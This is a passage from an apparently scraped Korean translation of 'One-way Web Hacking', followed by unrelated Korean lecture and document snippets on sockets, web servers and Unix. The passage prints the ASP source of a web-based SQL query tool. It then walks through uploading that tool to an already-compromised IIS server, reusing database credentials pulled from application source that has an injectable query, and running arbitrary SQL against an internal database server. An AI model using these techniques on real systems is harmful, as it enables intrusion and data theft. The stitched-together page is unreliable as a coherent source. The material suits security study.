76 Response.write("<option selected>" + strdbsource + "</option>") Response.write("<option>SQL Server</option>") Response.write("<option>Oracle ODBC Driver</option>") Response.write("<option>Microsoft Access Driver (*.mdb)</option>") END IF Response.write("</select>") Response.write("</td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td valign='top' align='right'><b><font face='arial' size='2'> Query String:</font></b></td>") Response.write("<td colspan='3'><font face='courier New'><textarea rows='4' name='query' cols='69'>"+ strquery +"</textarea></font></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td><input type='hidden' name='message' value='true'></td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td>") Response.write("<td colspan='3'> <input type='submit' value='execute Query'></td>") Response.write("</tr>") Response.write("</table>") Response.write("</form>") Response.write("</td>") Response.write("</tr>") Response.write("<tr>") Response.write("<td>")
77 Response.write("<BR>") Response.write("<HR>") Response.write("<p>") Response.write("</p>") set objcon = server.createobject("adodb.connection") IF(strDSN = "") THEN IF(strCon = "") THEN IF(strDbsource = "Microsoft Access Driver (*.mdb)") THEN objcon.connectionstring= "Driver=" + strdbsource + ";server=" + strservername + ";uid=" + strusername + ";pwd=" + strpassword + ";DBQ=" + strdatabasename ELSE objcon.connectionstring= "Driver=" + strdbsource + ";server=" + strservername + ";uid=" + strusername + ";pwd=" + strpassword + ";database=" + strdatabasename END IF ELSE objcon.connectionstring= strcon END IF ELSE IF(strCon = "") THEN objcon.connectionstring= "Driver=" + strdbsource + ";DSN=" + strdsn + ";uid=" + strusername + ";pwd=" + strpassword ELSE objcon.connectionstring= "DSN=" + strdsn + ";" + strcon END IF END IF
78 objcon.open Response.write("Database Connection Opened") Response.write("<p>") Set RS = objcon.execute(strquery) Select Case RS.eof Case False RSArray = RS.getrows Number_Of_Fields = Cdbl(UBound(RSArray, 1)) Number_Of_Records = Cdbl(UBound(RSArray, 2)) Response.Write "<table border=1 bordercolorlight='#000000' cellspacing='0' cellpadding='0' bordercolordark='#c0c0c0'>" Response.Write "<tr>" For A = 0 to Number_Of_Fields Response.Write "<td valign='middle' height='30' bgcolor='#000080'>" Response.Write "<font color='#ffffff' face='arial' size='3'><b>" Response.Write RS.Fields(A).Name Response.Write "</b></font>" Response.Write "</td> " Next Response.Write "</tr>" For R = 0 to Number_Of_Records
79 Response.Write "<tr>" For F = 0 to Number_Of_Fields Response.Write "<td><pre>" Response.Write RSArray(F, R) Response.Write "</pre></td> " Next Response.Write "</tr>" Next Response.Write "</table>" Case True Response.Write "No Records were found" End Select Response.write("</td>") Response.write("</tr>") Set RS = Nothing objcon.close Response.write("<tr>") Response.write("<td>") Response.Write "Database Connection Closed" Response.write("</td>") Response.write("</tr>") Response.write("</table>") ELSE %> <form action='#' method='post'> <table align='left' border='0'> <tr>
80 <td valign='top' align='right'><b><font face='arial' size='2'> Server Name:</font></b></td> <td><font face='courier New'><input type='text' name='servername' size='30'> </font></td> <td align='right'><b><font face='arial' size='2'>user Name:</font></b></td> <td><font face='courier New'><input name='username' size='14'></font></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'>database Name: </font></b></td> <td><font face='courier New'><input name='databasename' size='30'></font></td> <td align='right'><b><font face='arial' size='2'>password:</font></b></td> <td><font face='courier New'><input name='password' size='14'></font></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'> Connection String:</font></b></td> <td ><input type='text' name='constr' size='30'></td> </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'>driver: </font></b></td> <td> <select size='1' name='dbsource'> <option>oracle ODBC Driver</option> <option>microsoft Access Driver (*.mdb)</option> <option>mysql ODBC 3.51 Driver</option> <option selected>sql Server</option> </select> </td>
81 </tr> <tr> <td valign='top' align='right'><b><font face='arial' size='2'> Query String:</font></b></td> <td colspan='3'><font face='courier New'> <textarea rows='4' name='query' cols='69'></textarea></font></td> </tr> <tr> <td><input type='hidden' name='message' value='true'></td> </tr> <tr> <td> <td colspan='3'> <input type='submit' value='execute Query'></td> </tr> </table> </form> <%END IF%> </body> </html> PHP, Perl, JSP 등과같은언어로웹기반의 SQL command prompt 를만드는것이가능하다. (Thanks to Ketan Vyas for sqlquery.asp) 7.2 예 - IIS 및 MS SQL server 우리는이제 sqlquery.asp 가내부네트워크에놓여있는데이터베이스서버를해킹하는데어떻게사용될수있는지를 보여주는시나리오를제시한다. 아래의그림은웹서버 www1.example.com 과데이터베이스서버 의어플리케이션 배치를보여준다.
82 우리는 www1.example.com 이이미공격을당했으며, 웹기반의파일 uploader 인 upload.asp 와웹기반의 command prompt 인 cmdasp.asp 가서버에존재하는것을가정한다. 권한상승에대해서는어떤가정도하지않는다. 우리는이제 www1.example.com 에 sqlquery.asp 를업로드하고, 에있는데이터베이스서버를공격하기위해 그것을사용할것이다. 7.3 sqlquery.asp 업로드 아래의스크린샷은파일 uploader 인 upload.asp 에의해 sqlquery.asp 가업로드되고있는것을보여준다.
83 7.4 웹어플리케이션도용하기 (pilfering) 우리가 back-end 데이터베이스에연결할수있기전에, 우리는데이터베이스에대한연결을확립하고, 무슨 credentials 로연결을확립할것인지알필요가있다. www1.example.com 에호스팅되고있는웹어플리케이션의소스 코드를보면다음과같은부분이있다. Set Con = Server.CreateObject("ADODB.Connection") Con.Open "Provider=SQLOLEDB; Data Source= ; Initial Catalog=art; User Id=sa; Password=sys+adm!n" Set RS = Con.Execute("select StockNumber,Name,Description,Artist, ListPrice,image from PRODUCTS where ID = " + Request.QueryString("ID")) 이라인들은 에존재하는 back-end 데이터베이스서버에연결할충분한정보를우리에게제공한다. 7.5 sqlquery.asp 를통한 SQL 질의하기 sqlquery,asp 와더불어위의 credentials 을사용하면데이터베이스서버에대해임의의 SQL statement 를실행할수있다. 아래의스크린샷은 "SELECT * FROM SYSDATABASES;" 질의결과를보여준다.
84 다음스크린샷은 art 데이터베이스에호스팅되는 PRODUCTS 라는테이블로부터어플리케이션의데이터가노출되는 모습을보여주고있다.
Microsoft Word - One-way Web Hacking.doc
One-way Web Hacking Saumil Shah saumil@net-square.com 8th December, 2003 번역 : 김지환 (forc1) forc1@naver.com Table of Contents 1.0 Introduction 1.1 Components of a generic web application system 1.2 URL mappings
More information<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>
i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More information슬라이드 1
/ 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file
More information1217 WebTrafMon II
(1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network
More information6주차.key
6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running
More informationThe Pocket Guide to TCP/IP Sockets: C Version
인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)
More informationSena Technologies, Inc. HelloDevice Super 1.1.0
HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision
More information/chroot/lib/ /chroot/etc/
구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More informationuntitled
Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II
More informationPowerPoint 프레젠테이션
Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용
More informationAPI STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum
API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date
More informationuntitled
Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.
More informationPowerPoint 프레젠테이션
WEB SERVER PORTING 1 Jo, Heeseung 웹서버포팅 HBE-SM5-S4210 를임베디드웹서버로사용할수있도록웹서버를올리는작업 임베디드서버에널리쓰이는웹서버들중 GoAhead 라는웹서버를포팅 CGI 프로그램을이용하여웹에서 HBE-SM5-S4210 의 LED, 7- Segment, TextLCD 를제어실습 2 Goahead webserver 소스를다운받거나제공된
More informationÀ©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾
P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP
More informationchapter1,2.doc
JavaServer Pages Version 08-alpha copyright2001 B l u e N o t e all rights reserved http://jspboolpaecom vesion08-alpha, UML (?) part1part2 Part1 part2 part1 JSP Chapter2 ( ) Part 1 chapter 1 JavaServer
More informationOracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용
Oracle hacking 작성자 : 임동현 (ddongsbrk@naver.com) 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용 Skill List 1. Oracle For Pentest 1. Find TNS Listener (Default 1521 port) (with nmap or amap) 2. Get the
More informationPowerPoint 프레젠테이션
(Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet
More informationOrcad Capture 9.x
OrCAD Capture Workbook (Ver 10.xx) 0 Capture 1 2 3 Capture for window 4.opj ( OrCAD Project file) Design file Programe link file..dsn (OrCAD Design file) Design file..olb (OrCAD Library file) file..upd
More informationPowerPoint 프레젠테이션
KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된
More information휠세미나3 ver0.4
andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$
More information3장
C H A P T E R 03 CHAPTER 03 03-01 03-01-01 Win m1 f1 e4 e5 e6 o8 Mac m1 f1 s1.2 o8 Linux m1 f1 k3 o8 AJAX
More information2009년 상반기 사업계획
소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버
More informationSecure Programming Lecture1 : Introduction
Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port
More information0. 들어가기 전
컴퓨터네트워크 14 장. 웹 (WWW) (3) - HTTP 1 이번시간의학습목표 HTTP 의요청 / 응답메시지의구조와동작원리이해 2 요청과응답 (1) HTTP (HyperText Transfer Protocol) 웹브라우저는 URL 을이용원하는자원표현 HTTP 메소드 (method) 를이용하여데이터를요청 (GET) 하거나, 회신 (POST) 요청과응답 요청
More informationMango220 Android How to compile and Transfer image to Target
Mango220 Android How to compile and Transfer image to Target http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys
More information제1장 Unix란 무엇인가?
1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.
More information강의10
Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced
More informationRemote UI Guide
Remote UI KOR Remote UI Remote UI PDF Adobe Reader/Adobe Acrobat Reader. Adobe Reader/Adobe Acrobat Reader Adobe Systems Incorporated.. Canon. Remote UI GIF Adobe Systems Incorporated Photoshop. ..........................................................
More informationbn2019_2
arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily
More informationSRC PLUS 제어기 MANUAL
,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO
More information10.
10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write
More informationCD-RW_Advanced.PDF
HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5
More information제20회_해킹방지워크샵_(이재석)
IoT DDoS DNS (jaeseog@sherpain.net) (www.sherpain.net) DDoS DNS DDoS / DDoS(Distributed DoS)? B Asia Broadband B Bots connect to a C&C to create an overlay network (botnet) C&C Provider JP Corp. Bye Bye!
More informationLXR 설치 및 사용법.doc
Installation of LXR (Linux Cross-Reference) for Source Code Reference Code Reference LXR : 2002512( ), : 1/1 1 3 2 LXR 3 21 LXR 3 22 LXR 221 LXR 3 222 LXR 3 3 23 LXR lxrconf 4 24 241 httpdconf 6 242 htaccess
More information3ÆÄÆ®-14
chapter 14 HTTP >>> 535 Part 3 _ 1 L i Sting using System; using System.Net; using System.Text; class DownloadDataTest public static void Main (string[] argv) WebClient wc = new WebClient(); byte[] response
More informationEDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-
EDB 분석보고서 (04.06) 04.06.0~04.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 04년 06월에공개된 Exploit-DB의분석결과, SQL 공격에대한보고개수가가장많았습니다. 이와같은결과로부터여전히 SQL 이웹에서가장많이사용되는임을확인할수있습니다.
More informationuntitled
CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power
More informationPowerPoint 프레젠테이션
Web server porting 1 Jo, Heeseung 웹서버포팅 HBE-SM5-S4210 를임베디드웹서버로사용할수있도록웹서버를올리는작업 임베디드서버에널리쓰이는웹서버들중 GoAhead 라는웹서버를포팅 CGI 프로그램을이용하여웹에서 HBE-SM5-S4210 의 LED, 7- Segment, TextLCD 를제어실습 2 Goahead webserver 소스를다운받거나제공된
More information<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >
웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 소켓 (Socket) (1/2) Socket 이란? 서버와클라이언트가서로특정한규약을사용하여데이터를전송하기위한방식 서버와클라이언트는소켓연결을기다렸다가소켓이연결되면서로데이터를전송 현재네트워크상에서의모든통신의근간은 Socket 이라할수있음 Page 2 1 소켓 (Socket) (2/2)
More informationSolaris Express Developer Edition
Solaris Express Developer Edition : 2008 1 Solaris TM Express Developer Edition Solaris OS. Sun / Solaris, Java, Web 2.0,,. Developer Solaris Express Developer Edition System Requirements. 768MB. SPARC
More informationchap7.key
1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )
More informationPowerPoint 프레젠테이션
Reasons for Poor Performance Programs 60% Design 20% System 2.5% Database 17.5% Source: ORACLE Performance Tuning 1 SMS TOOL DBA Monitoring TOOL Administration TOOL Performance Insight Backup SQL TUNING
More information13주-14주proc.PDF
12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float
More information<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>
리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1
More information다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");
다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher
More informationMySQL-Ch10
10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,
More information목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate
ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition
More informationPowerPoint 프레젠테이션
HTML5 웹프로그래밍입문 부록. 웹서버구축하기 1 목차 A.1 웹서버시스템 A.2 PHP 사용하기 A.3 데이터베이스연결하기 2 A.1 웹서버시스템 3 웹서버의구축 웹서버컴퓨터구축 웹서버소프트웨어설치및실행 아파치 (Apache) 웹서버가대표적 서버실행프로그램 HTML5 폼을전달받아처리 PHP, JSP, Python 등 데이터베이스시스템 서버측에데이터를저장및효율적관리
More information제1장 Unix란 무엇인가?
1 소켓 2 1 소켓 클라이언트 - 서버모델 네트워크응용프로그램 클리이언트 - 서버모델을기반으로동작한다. 클라이언트 - 서버모델 하나의서버프로세스와여러개의클라이언트로구성된다. 서버는어떤자원을관리하고클라이언트를위해자원관련서비스를제공한다. 3 소켓의종류 소켓 네트워크에대한사용자수준의인터페이스를제공 소켓은양방향통신방법으로클라이언트 - 서버모델을기반으로프로세스사이의통신에매우적합하다.
More informationORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O
Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration
More information게시판 스팸 실시간 차단 시스템
오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP
More informationvi 사용법
네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o
More informationchapter4
Basic Netw rk 1. ก ก ก 2. 3. ก ก 4. ก 2 1. 2. 3. 4. ก 5. ก 6. ก ก 7. ก 3 ก ก ก ก (Mainframe) ก ก ก ก (Terminal) ก ก ก ก ก ก ก ก 4 ก (Dumb Terminal) ก ก ก ก Mainframe ก CPU ก ก ก ก 5 ก ก ก ก ก ก ก ก ก ก
More informationMicrosoft PowerPoint - comp_prac_081223_2.pptx
Computer Programming Practice (2008 Winter) Practice 2 기본 Unix/Linux 명령어숙지 2008. 12. 23 Contents Linux commands Basic commands File and Directory User Data Filtering Process Etc Conclusion & Recommended
More informationÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù
21 5 Korea Internet & Security Agency CONTENTS 2 3 3 3 4 4 5 6 6 7 7 8 11 12 14 14 15 15 16 18 2 22 23 24 24 32 35 36 2 215 Bot 1,7511,315 33.2% 1,621,468 27.7% 285 431 33.9% 295 12 6.9% 44 396 2.% 132
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More informationMicrosoft Word - Network Programming_NewVersion_01_.docx
10. Unix Domain Socket 105/113 10. Unix Domain Socket 본절에서는 Unix Domain Socket(UDS) 에대한개념과이에대한실습을수행하고, 이와동시에비신뢰적인통신시스템의문제점에대해서분석하도록한다. 이번실습의목표는다음과같다. 1. Unix Domain Socket의사용법을익히고, IPC에대해서실습 2. TCP/IP의응용계층과전달계층의동작을구현및실습
More informationPART 1 CHAPTER 1 Chapter 1 Note 4 Part 1 5 Chapter 1 AcctNum = Table ("Customer").Cells("AccountNumber") AcctNum = Customer.AccountNumber Note 6 RecordSet RecordSet Part 1 Note 7 Chapter 1 01:
More information2009년 상반기 사업계획
웹 (WWW) 쉽게배우는데이터통신과컴퓨터네트워크 학습목표 웹서비스를위한클라이언트 - 서버구조를살펴본다. 웹서비스를지원하는 APM(Apache, PHP, MySQL) 의연동방식을이해한다. HTML 이지원하는기본태그명령어와프레임구조를이해한다. HTTP 의요청 / 응답메시지의구조와동작원리를이해한다. CGI 의원리를이해하고 FORM 태그로사용자입력을처리하는방식을알아본다.
More informationInterstage5 SOAP서비스 설정 가이드
Interstage 5 Application Server ( Solaris ) SOAP Service Internet Sample Test SOAP Server Application SOAP Client Application CORBA/SOAP Server Gateway CORBA/SOAP Gateway Client INTERSTAGE SOAP Service
More informationMySQL-Ch05
MySQL P A R T 2 Chapter 05 Chapter 06 Chapter 07 Chapter 08 05 Chapter MySQL MySQL. (, C, Perl, PHP),. 5.1 MySQL., mysqldump, mysqlimport, mysqladmin, mysql. MySQL. mysql,. SQL. MySQL... MySQL ( ). MySQL,.
More informationSMB_ICMP_UDP(huichang).PDF
SMB(Server Message Block) UDP(User Datagram Protocol) ICMP(Internet Control Message Protocol) SMB (Server Message Block) SMB? : Microsoft IBM, Intel,. Unix NFS. SMB client/server. Client server request
More informationMicrosoft PowerPoint - 09-Pipe
9. 파이프 상명대학교소프트웨어학부 파이프 시그널은이상한사건이나오류를처리하는데는이용하지만, 한프로세스로부터다른프로세스로대량의정보를전송하는데는부적합하다. 파이프 한프로세스를다른관련된프로세스에연결시켜주는단방향의통신채널 2 pipe() Usage #include int pipe(int filedes[2]); 3 < ex_1.c > #include
More information1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키
Lighttpd ( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat
More informationPowerPoint 프레젠테이션
Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여
More informationPowerPoint 프레젠테이션
chapter 3. 기본웹해킹 1. 정보수집 해커들이웹사이트를해킹하기위해대상시스템의운영체제나어플리케이션버전등과같은대상시스템의정보를수집하는것을의미한다. -2- 일반적인해킹단계 정보수집 취약점분석 실제공격 사후처리 웹스캔포트스캔 Application 종류, 버전 OS종류, 버전등등 OS종류, 버전취약점 Application 취약점 리모트어택웹, DB, SQL injection,
More informationABC 11장
12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00
More informationEclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일
Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 Introduce Me!!! Job Jeju National University Student Ubuntu Korean Jeju Community Owner E-Mail: ned3y2k@hanmail.net Blog: http://ned3y2k.wo.tc Facebook: http://www.facebook.com/gyeongdae
More information본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인
스마일서브 CLOUD_Virtual 워드프레스 설치 (WORDPRESS INSTALL) 스마일서브 가상화사업본부 Update. 2012. 09. 04. 본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게
More informationBMP 파일 처리
